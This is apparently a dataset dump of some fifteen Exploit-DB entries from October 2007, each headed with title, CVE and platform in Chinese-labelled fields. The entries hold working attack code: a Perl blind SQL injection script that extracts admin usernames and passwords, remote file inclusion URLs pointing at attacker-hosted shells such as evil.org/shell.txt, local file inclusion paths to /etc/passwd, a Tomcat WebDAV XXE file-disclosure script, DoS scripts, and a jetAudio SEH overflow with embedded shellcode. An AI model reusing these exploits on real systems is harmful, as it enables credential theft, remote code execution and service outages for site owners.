QLWD/code_shield huggingface dataset:
标题: BBPortalS 2.0 - Blind SQL Injection EDB-ID: 4550 CVE: 2007-5630 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-21 漏洞利用脚本: #BBPortalS BBsProcesS Remote Blind SQL Injection Exploit 
#Bug Found And Write By Max007
#Exploit Tested On V.1.5.10 And V.1.6.2 And 1.5.11
#info:For The Version BBPortalS 2.0 name of field is user and password but you have to find name of table
#!/usr/bin/perl
use LWP::UserAgent;
$err=1;
$www = new LWP::UserAgent;
sub utilisation()
{
print "\n\tVulnerability Found By Max007 ;)";
print "\n\tBlind SQL Injection In Script BBPortalS / BBsProcesS\n\tDork:\"inurl : tnews.php?op\"";
print "\n\tSyntax Exmple: ";
print "Exploit.pl http://www.site-vuln.com\n";
exit(0);
}

sub err()
{
print "\n this script is not vulnerable !\n";
exit();
}

sub table()
{
print "\n\n \tThis Site Is Vulerable\n \tNumber of Fields : $err\n\tBut You have To Find Name Of Table !\n\tI Don't Have Time To Do This For you hhh ;)\n";
exit();
}

if(!$ARGV[0]){utilisation();}
$host=$ARGV[0];


sub max007()
{
$champ="1," x $err;
chop($champ);
$inject="tnews.php?op=tnews&id=-9/**/group/**/by/**/$err/*";
$sql = "$host/".$inject;
print "\n                 research number of fields .... \n";
$res = $www -> get($sql);
if(!($res -> content =~ /Warning/)){
print "               The Current number of fields is : $err\n";
$err++;
max007();
}
else{
if($err==1){ err();}
}
}
if($err==1){ max007();}
$err-=1;
#system("cls");
print "\nThe number of fields is: $err";

$nbr_champ=$err;
$champ="concat(char(117,115,101,114,110,97,109,101,58),login,char(32,32,61,61,61,61,61,32,32,32,112,97,115,115,119,111,114,100,58),pass,char(42,42,42,42,42,42,42,42,42,42,61,61,61,61,61,61,61,61,61,61))," x $nbr_champ;
chop($champ);

$inject="tnews.php?op=tnews&id=-9/**/union/**/select/**/".$champ."/**/from/**/users/**/where/**/pid=1/*";
$sql = "$host/".$inject;
$res = $www -> get($sql) or err();
$i=0;$j=0;
$i=index($res->content,'username:');
$j=index($res->content,'**********==========');
$ch=substr($res->content,$i,$j-$i);

if($res->content =~ /username/)
{
print "\n\n              Attack successful\n\n";
print "Admin User Name And Password Has Been Found ;)\n\n\t";
print "$ch \n\n";
}

else {table();}

#Je Suis Triste Vraiment Triste Et Je ne Sais Pas Pourquoi,PourTant je ne dois pas l'Ãªtre,

# milw0rm.com [2007-10-21] URL: https://www.exploit-db.com/exploits/4550
标题: ZZ FlashChat 3.1 - 'help.php' Local File Inclusion EDB-ID: 4546 CVE: 2007-5620 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-19 漏洞利用脚本: # Title : ZZ:FlashChat Local File Inclusion Vulnerability

# Source : http://download.zehnet.de/index.php

# Author : d3hydr8

# Homepage : http://www.darkc0de.com

# Vuln: : /chat/admin/inc/help.php?file=[LFI]

# milw0rm.com [2007-10-19] URL: https://www.exploit-db.com/exploits/4546
标题: awzMB 4.2 Beta 1 - Multiple Remote File Inclusions EDB-ID: 4545 CVE: 2007-5592 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-18 漏洞利用脚本: \\\|///
                    \\  - -  //      Xmors Underground Group
                     (  @ @ )
              ----oOOo--(_)-oOOo--------------------------------------------------
              Portal   :  awzMB system Version 4.2 beta 1 Guestbook/Weblog/Contact
              Download :  http://downloads.sourceforge.net/awzmb/awzmb_4.2_beta1.zip
       Author   :  S.W.A.T.
       HomePage :  wWw.XmorS.CoM
       Type     :  Remote File Inclusion
              Y! ID    :  Svvateam
              E-Mail   :  Svvateam@yahoo.com / S.W.4.T@hackermail.com
              OurForum :  http://svvat.3host.biz/forum/index.php
              Dork     :  Copyright Ã‚Â© 2001-2007 awzMB Project
              ----ooooO-----Ooooo--------------------------------------------------
                  (   )     (   )
                   \ (       ) /
                    \_)     (_/


+---------------------------------------------------------------------------------------------+

Vuln Code :

if (!isset($Setting[OPT_includepath])) $Setting[OPT_includepath] = '';

include_once($Setting[OPT_includepath].'awzmb/modules/core/core.incl.php');

+---------------------------------------------------------------------------------------------+
+---------------------------------------------------------------------------------------------+

Exploit :

http://[TARGET]/[PATH]/awzmb/adminhelp.php?Setting[OPT_includepath]=[-Sh3ll-]
http://[TARGET]/[PATH]/awzmb/modules/admin.incl.php?Setting[OPT_includepath]=[-Sh3ll-]
http://[TARGET]/[PATH]/awzmb/modules/reg.incl.php?Setting[OPT_includepath]=[-Sh3ll-]
http://[TARGET]/[PATH]/awzmb/modules/help.incl.php?Setting[OPT_includepath]=[-Sh3ll-]
http://[TARGET]/[PATH]/awzmb/modules/gbook.incl.php?Setting[OPT_includepath]=[-Sh3ll-]
http://[TARGET]/[PATH]/awzmb/modules/core/core.incl.php?Setting[OPT_includepath]=[-Sh3ll-]

+---------------------------------------------------------------------------------------------+

# milw0rm.com [2007-10-18] URL: https://www.exploit-db.com/exploits/4545
标题: Socketmail 2.2.8 - 'fnc-readmail3.php' Remote File Inclusion EDB-ID: 4554 CVE: 2007-5627 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-22 漏洞利用脚本: Vulnerability Type: Remote File Inclusion
Vulnerable file: /mail/content/fnc-readmail3.php
Exploit URL: http://localhost/mail/content/fnc-readmail3.php?__SOCKETMAIL_ROOT=http://localhost/shell.txt?
Method: get
Register_globals: On
Vulnerable variable: __SOCKETMAIL_ROOT
Line number: 399
Lines:

----------------------------------------------
} else {
    include_once($__SOCKETMAIL_ROOT."/content/fnc-readmail.std.php");
}

----------------------------------------------

GrEeTs To sHaDoW sEcUrItY TeAm, str0ke

BiG sHoUt OuT tO udplink.net

FoUnD By BiNgZa

DoRk:"Powered by SocketMail Lite version 2.2.8. Copyright Â© 2002-2006"

DORK2: "Powered by SocketMail"

shadowcrew@hotmail.co.uk

shadow.php0h.com

# milw0rm.com [2007-10-22] URL: https://www.exploit-db.com/exploits/4554
标题: doop CMS 1.3.7 - Local File Inclusion EDB-ID: 4536 CVE: 2007-5465 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-15 漏洞利用脚本: ______________________________________________________
|         DOOP CMS <=1.3.7 Local File Inclusion        |
|______________________________________________________|

 ______________________________________________________
| vuln path: ?page=/../../../../../../../etc/passwd%00 |
|                                                      |
| dork: Doop CMS                                       |
| dork2: powered by Doop CMS                           |
|                                                      |       
| work only if magic_quotes_gpc are set to OFF         |
|______________________________________________________|

 ______________________________________________________
| vuln code:                                           |
| line 544:                                            |
|  if (!isset($_REQUEST['page'])){                     |
|    $_REQUEST['page']=$homepage;                      |
|    $cpage=$_REQUEST['page'];                         |
|  } else { $cpage=$_REQUEST['page']; }                |
|                                                      |
| line 646:                                            |
|  if ($admin == FALSE && !isset($_SESSION['name']) || isset($_REQUEST['preview'])){
|    if (file_exists("pages/".$cpage.".htm")){         |
|        include("pages/".$cpage.".htm");              |
|    }                                                 |
|    else include("pages/".$cpage.".html");            |
|   }                                                  |
|______________________________________________________|
 ______________________________________________________
| greetz to: http://vladii.wordpress.com               |
|            http://rstzone.org                        |
|            http://hackpedia.info                     |
|            SlicK & Shocker & moubik & kw3            |
|______________________________________________________|

 ______________________________________________________
|                  @vladii 2007                        |
|______________________________________________________| 

# milw0rm.com [2007-10-15] URL: https://www.exploit-db.com/exploits/4536
标题: Boa 0.93.15 - HTTP Basic Authentication Bypass EDB-ID: 4542 CVE: 2007-4915 类型: REMOTE 平台: LINUX 发布日期: 2007-10-16 漏洞利用脚本: /*
 * Boa HTTP Basic Authentication Bypass 
 * Vuln: Boa/0.93.15 (with Intersil Extensions)
 *
 * Original Advisory: 
 * http://www.securityfocus.com/archive/1/479434
 * http://www.ikkisoft.com/stuff/SN-2007-02.txt
 *
 *  Luca "ikki" Carettoni
 *  http://www.ikkisoft.com
 */

----

#!/usr/bin/env python
import urllib2

SERVER_IP_ADDRESS = '192.168.0.1'
USERNAME 
= 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
NEW_PASSWORD = 'owned'

auth_handler = urllib2.HTTPBasicAuthHandler()
auth_handler.add_password('LOGIN(default username & password is admin)', 
SERVER_IP_ADDRESS, USERNAME, NEW_PASSWORD);
opener = urllib2.build_opener(auth_handler)
urllib2.install_opener(opener)
res = urllib2.urlopen('http://'+SERVER_IP_ADDRESS+'/home/index.shtml')

# milw0rm.com [2007-10-16] URL: https://www.exploit-db.com/exploits/4542
标题: LimeSurvey 1.52 - 'language.php' Remote File Inclusion EDB-ID: 4544 CVE: 2007-5573 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-17 漏洞利用脚本: \\\|///
                    \\  - -  //      Xmors Underground Group
                     (  @ @ )
              ----oOOo--(_)-oOOo--------------------------------------------------
              Portal   :  LimeSurvey (PHPSurveyor) 1.52 plus_build 2007.10.16
              Download :  http://garr.dl.sourceforge.net/sourceforge/limesurvey/limesurvey152plus_build3386_20071016.zip
       Author   :  S.W.A.T.
       HomePage :  wWw.XmorS.CoM
       Type     :  Remote File Inclusion
              Y! ID    :  Svvateam
              E-Mail   :  Svvateam@yahoo.com / S.W.4.T@hackermail.com
              Dork     :  "You have not provided a survey identification number"
              Dork2    :  "LimeSurvey"
              ----ooooO-----Ooooo--------------------------------------------------
                  (   )     (   )
                   \ (       ) /
                    \_)     (_/

+---------------------------------------------------------------------------------------------+

Vuln Code :

require_once($rootdir.'/classes/php-gettext/gettext.php');

require_once($rootdir.'/classes/php-gettext/streams.php');

+---------------------------------------------------------------------------------------------+
+---------------------------------------------------------------------------------------------+

Exploit :

http://[TARGET]/[PATH]/classes/core/language.php?rootdir=[-Sh3ll-]


+---------------------------------------------------------------------------------------------+

# milw0rm.com [2007-10-17] URL: https://www.exploit-db.com/exploits/4544
标题: GCALDaemon 1.0-beta13 - Remote Denial of Service EDB-ID: 4540 CVE: 2007-4980 类型: DOS 平台: MULTIPLE 发布日期: 2007-10-16 漏洞利用脚本: #!/usr/bin/perl
# /*
#  * GCALDaemon <= 1.0-beta13 Remote DoS 
#  * 
#  * Original Advisory: 
#  * https://www.securityfocus.com/bid/25704/info
#  * http://www.ikkisoft.com/stuff/SN-2007-01.txt
#  *
#  *  Luca "ikki" Carettoni
#  *  http://www.ikkisoft.com
#  */

use strict;
use warnings;
use IO::Socket;

my $host = shift || die "Usage: $0 host [port]\n";
my $port = shift || 9090;
my $sock = new IO::Socket::INET(PeerAddr => $host, PeerPort => $port, 
PeerProto => 'tcp')
or die "error: $!\n";
print "GCALDaemom DoS Expoit\n";
print "Just 4 seconds...\n";
sleep 4;
$sock->send("GET / HTTP/1.1\r\n");
$sock->send("Content-Length: 1000000000\r\n\r\n");
$sock->close;
print "\n\nNo more sync!\n";

# milw0rm.com [2007-10-16] URL: https://www.exploit-db.com/exploits/4540
标题: Apache Tomcat - 'WebDAV' Remote File Disclosure EDB-ID: 4530 CVE: 2007-5461 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-10-14 漏洞利用脚本: #!/usr/bin/perl
#******************************************************
# Apache Tomcat Remote File Disclosure Zeroday Xploit
# kcdarookie aka eliteb0y / 2007
#
# thanx to the whole team & andi :)
# +++KEEP PRIV8+++
#
# This Bug may reside in different WebDav implementations,
# Warp your mind!
# +You will need auth for the exploit to work...
#******************************************************

use IO::Socket;
use MIME::Base64; ### FIXME! Maybe support other auths too ?

# SET REMOTE PORT HERE
$remoteport = 8080;

sub usage {
 print "Apache Tomcat Remote File Disclosure Zeroday Xploit\n";
 print "kcdarookie aka eliteb0y / 2007\n";
 print "usage: perl TOMCATXPL <remotehost> <webdav file> <file to retrieve> [username] [password]\n";
 print "example: perl TOMCATXPL www.hostname.com /webdav /etc/passwd tomcat tomcat\n";exit;
}

if ($#ARGV < 2) {usage();}

$hostname = $ARGV[0];
$webdavfile = $ARGV[1];
$remotefile = $ARGV[2];

$username = $ARGV[3];
$password = $ARGV[4];

my $sock = IO::Socket::INET->new(PeerAddr => $hostname,
                              PeerPort => $remoteport,
                              Proto    => 'tcp');
                              
$|=1;
$BasicAuth = encode_base64("$username:$password");

$KRADXmL = 
"<?xml version=\"1.0\"?>\n"
."<!DOCTYPE REMOTE [\n"
."<!ENTITY RemoteX SYSTEM \"$remotefile\">\n"
."]>\n"
."<D:lockinfo xmlns:D='DAV:'>\n"
."<D:lockscope><D:exclusive/></D:lockscope>\n"
."<D:locktype><D:write/></D:locktype>\n"
."<D:owner>\n"
."<D:href>\n"
."<REMOTE>\n"
."<RemoteX>&RemoteX;</RemoteX>\n"
."</REMOTE>\n"
."</D:href>\n"
."</D:owner>\n"
."</D:lockinfo>\n";

print "Apache Tomcat Remote File Disclosure Zeroday Xploit\n";
print "kcdarookie aka eliteb0y / 2007\n";
print "Launching Remote Exploit...\n";

$ExploitRequest =
 "LOCK $webdavfile HTTP/1.1\r\n"
."Host: $hostname\r\n";

if ($username ne "") {
$ExploitRequest .= "Authorization: Basic $BasicAuth\r\n"; 
}
$ExploitRequest .= "Content-Type: text/xml\r\nContent-Length: ".length($KRADXmL)."\r\n\r\n" . $KRADXmL;

print $sock $ExploitRequest;

while(<$sock>) {
 print;
}

# milw0rm.com [2007-10-14] URL: https://www.exploit-db.com/exploits/4530
标题: PHPDJ 0.5 - 'djpage.php' Remote File Inclusion EDB-ID: 4543 CVE: 2007-5574 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-17 漏洞利用脚本: ################################################################
PHPDJ v05 (page) Remote File Inclusion Vulnerability
D.S: http://sourceforge.net/projects/phpdj/
D0RK : allintext:"PHPDJ was created by www.php-mania.co.uk"
POC :
       /PHPDJ_v05/dj/djpage.php?page=evil-script.txt?
################################################################
Thanx To : Tryag.Com/cc & Asb-May.net/bb
################################################################

# milw0rm.com [2007-10-17] URL: https://www.exploit-db.com/exploits/4543
标题: eXtremail 2.1.1 - 'memmove()' Remote Denial of Service EDB-ID: 4532 CVE: 2007-5467 类型: DOS 平台: LINUX 发布日期: 2007-10-15 漏洞利用脚本: #!/usr/bin/perl
#
# extremail-v3.pl
#
# Copyright (c) 2006 by <mu-b@digit-labs.org>
#
# eXtremail <=2.1.1 remote root POC (x86-lnx)
# by mu-b - Fri Oct 06 2006
#
# Tested on: eXtremail 2.1.1 (lnx)
#            eXtremail 2.1.0 (lnx)
#
#    - Private Source Code -DO NOT DISTRIBUTE -
# http://www.digit-labs.org/ -- Digit-Labs 2006!@$!
########

use Getopt::Std; getopts('t:n:u:p:', \%arg);
use Socket;

&print_header;

my $target;

if (defined($arg{'t'})) { $target = $arg{'t'} }
if (!(defined($target))) { &usage; }

my $pop3_port = 110;
my $send_delay = 1;

my $NOP = 'A';

srand(time());
while (1) {
    if (connect_host($target, $pop3_port)) {
        # [0,50) -> [1,50]
        $max_len  = int(rand(50) + 1);

        # [0, $max_len * 0.75) -> [0, ($max_len * 0x75) - 1]
        $pad1_len = int(rand($max_len * 0.75));

        # [0, ($max_len - $pad1_len)/2) -> [1, ($max_len - $pad1_len)/2]
        $pad2_len = int(rand(($max_len - $pad1_len)/length("%s")) + 1);

        $pad3_len = $max_len - $pad1_len - ($pad2_len * length("%s"));

        $buf = "USER ".
               ($NOP x $pad1_len).
               ("%s" x $pad2_len).
               ($NOP x $pad3_len).
               "\n";
        print("-> * Sending: $max_len $pad1_len $pad2_len $pad3_len ".$buf);
        send(SOCKET, $buf, 0);
        sleep($send_delay);

        close(SOCKET);
    }
}

sub print_header {
    print("eXtremail <=2.1.1 remote root POC (x86-lnx)\n");
    print("by: <mu-b\@digit-labs.org>\n");
    print("http://www.digit-labs.org/ -- Digit-Labs 2007!@$!\n\n");
}

sub usage {
  print(qq(Usage: $0 -t <hostname>

     -t <hostname>    : hostname to test
));

    exit(1);
}

sub connect_host {
    ($target, $port) = @_;
    $iaddr  = inet_aton($target)                 || die("Error: $!\n");
    $paddr  = sockaddr_in($port, $iaddr)         || die("Error: $!\n");
    $proto  = getprotobyname('tcp')              || die("Error: $!\n");

    socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
    connect(SOCKET, $paddr)                      || die("Error: $!\n");
    return(1338);
}

# milw0rm.com [2007-10-15] URL: https://www.exploit-db.com/exploits/4532
标题: Artmedic CMS 3.4 - 'index.php' Local File Inclusion EDB-ID: 4538 CVE: 2007-5600 2007-5489 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-16 漏洞利用脚本: #######################################
X---- w w w . u N k n 0 w n . e u ----X
#######################################

artmedic CMS Local File Inclusion

::Home:
artmedic-cms.de

::Vuln Type :
 LFI

::Discovered by :
 iNs


PoC:
http://server/cms/index.php?page=[LFI]
http://server/index.php?page=[LFI]

d0rK:
CMS von artmedic webdesign


:: iNs ::

::Gr33tz t0:
uNkn0wn.eu - iD - Stel128 - Spitfire - fEaRz - R1der - Stranger21 -
nexos - sh4m4n - Svarshik - naxx - phew - Z
DRT Memb3rz - s[H]4g - deL - l10m - l1l - r00tm1nd - f|_|ck3r - p1mmy
ActiveSpy.org - ActiveSpy - steve10120 - lord - polifemo - craw -
Xplorer_eX - antik
idscript2003
PitBull Crew - The_PitBull - MaxDeMon - SancheZ - RedBull - ResellerZ
- r0x00k - c0ol
milw0rm.com - str0ke
darkc0de.com - d3hydr8

# milw0rm.com [2007-10-16] URL: https://www.exploit-db.com/exploits/4538
标题: Okul Otomasyon Portal 2.0 - SQL Injection EDB-ID: 4539 CVE: 2007-5490 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-16 漏洞利用脚本: ################################  Dumenci v19.1   ###################################
####                       Okul Otomasyon Portal v2.0                            ####
####                          remote sql injection                               ####
#####################################################################################
#                                                                                   #
#AUTHOR : Okulumun sitesi                                                           #
#Script Download : http://www.okulumunsitesi.com/                                   #
#DORK: "inurl:/k12.tr/?part="                                                       #
#                                                                                   #
#                                                                                   #
#                                                                                   #
# Injection Adress : http://site.com/default.asp?islem=1&id=[sql code]              #
# my COD : -1+union+select+0,1,id,baslik,4,5,6+from+haber                           #
#                                                                                   #
#                                                                                   #
#                                                                                   #
#                                                                                   #
#                                MEFISTO,KÄ±nSÄ±ze,CyberGhost                      #tr#
#####################################################################################

# milw0rm.com [2007-10-16] URL: https://www.exploit-db.com/exploits/4539
标题: eXtremail 2.1.1 - Remote Heap Overflow (PoC) EDB-ID: 4535 CVE: 2007-5467 2007-5466 类型: DOS 平台: LINUX 发布日期: 2007-10-15 漏洞利用脚本: #!/usr/bin/perl
#
# extremail-v8.pl
#
# Copyright (c) 2007 by <mu-b@digit-labs.org>
#
# eXtremail <=2.1.1 remote PoC
# by mu-b - Wed Jan 31 2007
#
# Tested on: eXtremail 2.1.1 (lnx)
#            eXtremail 2.1.0 (lnx)
#
#    - Private Source Code -DO NOT DISTRIBUTE -
# http://www.digit-labs.org/ -- Digit-Labs 2007!@$!
########

use Getopt::Std; getopts('t:n:u:p:', \%arg);
use Socket;

&print_header;

my $target;

if (defined($arg{'t'})) { $target = $arg{'t'} }
if (defined($arg{'n'})) { $offset = $arg{'n'} }
if (!(defined($target))) { &usage; }

my $imapd_port = 143;
my $send_delay = 10;
my $loop = 2;

my $NOP = 'A';

if (connect_host($target, $imapd_port)) {
    print("-> * Connected\n");
    sleep(16);

    print("-> * Sending payload\n");
    $buf = "\x00".($NOP x (0x2710-1));
    send(SOCKET, $buf, 0);
    sleep($send_delay);

    $buf = $NOP x 0x2710;
    while ($loop--) {
      print("-> * Sending payload ".$loop."\n");
      send(SOCKET, $buf, 0);
      sleep($send_delay);
    }

    print("-> * Successfully sent payload!\n");
}

sub print_header {
    print("eXtremail <=2.1.1 remote PoC\n");
    print("by: <mu-b\@digit-labs.org>\n");
    print("http://www.digit-labs.org/ -- Digit-Labs 2007!@$!\n\n");
}

sub usage {
  print(qq(Usage: $0 -t <hostname>

     -t <hostname>    : hostname to test
));

    exit(1);
}

sub connect_host {
    ($target, $port) = @_;
    $iaddr  = inet_aton($target)                 || die("Error: $!\n");
    $paddr  = sockaddr_in($port, $iaddr)         || die("Error: $!\n");
    $proto  = getprotobyname('tcp')              || die("Error: $!\n");

    socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
    connect(SOCKET, $paddr)                      || die("Error: $!\n");
    return(1338);
}

# milw0rm.com [2007-10-15] URL: https://www.exploit-db.com/exploits/4535
标题: jetAudio 7.x - '.m3u' Local Overwrite (SEH) EDB-ID: 4531 CVE: 2007-5487 类型: LOCAL 平台: WINDOWS 发布日期: 2007-10-14 漏洞利用脚本: #!/usr/bin/python
# jetAudio 7.x (m3u File) 0day Local SEH Overwrite Exploit
# Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>
# Tested on: jetAudio 7.0.3 Basic / 2k SP4 Polish
# Shellcode: Windows Execute Command (calc) <metasploit.com>
# Just for fun  ;) 
##

from struct import pack

m3u = ("#EXTM3U\nhttp://%s")

shellcode = (
"\x6a\x22\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x8d\x6c\xf6"
"\xb2\x83\xeb\xfc\xe2\xf4\x71\x84\xb2\xb2\x8d\x6c\x7d\xf7\xb1\xe7"
"\x8a\xb7\xf5\x6d\x19\x39\xc2\x74\x7d\xed\xad\x6d\x1d\xfb\x06\x58"
"\x7d\xb3\x63\x5d\x36\x2b\x21\xe8\x36\xc6\x8a\xad\x3c\xbf\x8c\xae"
"\x1d\x46\xb6\x38\xd2\xb6\xf8\x89\x7d\xed\xa9\x6d\x1d\xd4\x06\x60"
"\xbd\x39\xd2\x70\xf7\x59\x06\x70\x7d\xb3\x66\xe5\xaa\x96\x89\xaf"
"\xc7\x72\xe9\xe7\xb6\x82\x08\xac\x8e\xbe\x06\x2c\xfa\x39\xfd\x70"
"\x5b\x39\xe5\x64\x1d\xbb\x06\xec\x46\xb2\x8d\x6c\x7d\xda\xb1\x33"
"\xc7\x44\xed\x3a\x7f\x4a\x0e\xac\x8d\xe2\xe5\x9c\x7c\xb6\xd2\x04"
"\x6e\x4c\x07\x62\xa1\x4d\x6a\x0f\x97\xde\xee\x6c\xf6\xb2")

NEXT_SEH_RECORD = 0x909006EB  # JMP SHORT + 0x06
SE_HANDLER = 0x7CEA61F7       # POP POP RET (SHELL32.DLL / 2k SP4 Polish)

buf = "CLICK ME"
buf += "\x20" * 1009
buf += pack("<L", NEXT_SEH_RECORD)
buf += pack("<L", SE_HANDLER)
buf += "\x90" * 128
buf += shellcode

m3u %= buf

fd = open("evil.m3u", "w")
fd.write(m3u)
fd.close()

print "DONE"

# EoF

# milw0rm.com [2007-10-14] URL: https://www.exploit-db.com/exploits/4531
标题: PicoFlat CMS 0.4.14 - 'index.php' Remote File Inclusion EDB-ID: 4520 CVE: 2007-5390 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-11 漏洞利用脚本: #PicoFlat CMS Remote file inclusion
#f0und bY 0in
#download:http://sourceforge.net/project/showfiles.php?group_id=195156&package_id=230351&release_id=533796
#Greetings to:Dark-coders team members: Die-angel,Slim,Umbro
#Others: Joker186,Kaja,Wojto111,Rade0n
#And funny n00b-firends: Pucik and Steryd ;]
FUN BUG in index.php:
83: if (isset($_GET['pagina'])) { $pagina = $_GET['pagina']; }else{ $pagina = "news_publisher.php"; }

107:   <?php  include $pagina; ?>

EXPLOIT:
http://x.com/index.php?pagina=http://evil.org/shell.txt?

# milw0rm.com [2007-10-11] URL: https://www.exploit-db.com/exploits/4520